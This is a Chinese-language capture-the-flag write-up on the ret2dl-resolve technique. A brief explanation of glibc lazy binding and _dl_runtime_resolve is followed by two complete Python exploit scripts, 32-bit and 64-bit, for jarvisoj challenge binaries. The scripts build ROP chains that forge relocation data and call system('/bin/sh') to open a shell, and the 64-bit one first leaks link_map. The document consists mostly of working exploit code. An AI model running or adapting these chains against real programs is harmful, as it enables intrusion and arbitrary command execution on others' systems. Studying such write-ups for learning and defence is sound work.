return-to-dl-reslove

return-to-dl-reslove

得益于glibc的延迟绑定机制,可以通过调用plt[0]函数加载特定函数,函数参数的结构体偏移可以自己手动给一个超长的偏移

在第一次调用函数时,plt跳转got,got跳转plt下面,然后跳转plt[0],这相当于调用以下函数:

_dl_runtime_resolve(link_map, rel_offset);
_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。具体地。根据rel_offset,找到重定位条目:

Elf32_Rel * rel_entry = JMPREL + rel_offset;
根据rel_entry中的符号表条目编号,得到对应的符号信息:

Elf32_Sym sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];再找到符号信息中的符号名称:char sym_name = STRTAB + sym_entry->st_name;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

python#!/usr/bin/env python

from roputils import *

DEBUG = 1
fpath = './level4'
offset = 0x8c

rop = ROP(fpath)
addr_bss = rop.section('.bss')
addr_plt_read = 0x08048310
addr_got_read = 0x0804a00c

buf = rop.retfill(offset)
# roputils has changed call function in new version
buf += rop.call(addr_plt_read, 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

if DEBUG:
p = Proc(rop.fpath)
else:
p = Proc(host='pwn2.jarvisoj.com', port=9880)

p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

64位需要把link_map的0x1c8清0不然会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python

from roputils import *

DEBUG = 1
fpath = './level3_x64'
offset = 0x88
p4ret = 0x4006ac

rop = ROP(fpath)
addr_stage = rop.section('.bss') + 0x400
ptr_ret = rop.search(rop.section('.fini'))
write_got = 0x600A58
read_got = 0x600a60

buf = rop.retfill(offset)
buf += rop.call_chain_ptr(
[write_got, 1, rop.got()+8, 8],
[read_got, 0, addr_stage, 350]
, pivot=addr_stage)

if DEBUG:
p = Proc(rop.fpath)
else:
p = Proc(host='pwn2.jarvisoj.com', port=9883)

print p.read(7)
raw_input('#1. leak link_map')
p.write(buf)

# print "[+] read: %r" % p.read(len(buf))
addr_link_map = p.read_p64()
print 'addr_link_map %x' % addr_link_map
addr_dt_debug = addr_link_map + 0x1c8

buf = rop.call_chain_ptr(
[read_got, 0, addr_dt_debug, 8],
[ptr_ret, addr_stage+310]
)

buf += rop.dl_resolve_call(addr_stage+210)
buf += rop.fill(210, buf)
buf += rop.dl_resolve_data(addr_stage+210, 'system')
buf += rop.fill(310, buf)
buf += rop.string('/bin/sh')
buf += rop.fill(350, buf)

p.write(buf)
p.write_p64(0)
p.interact(0)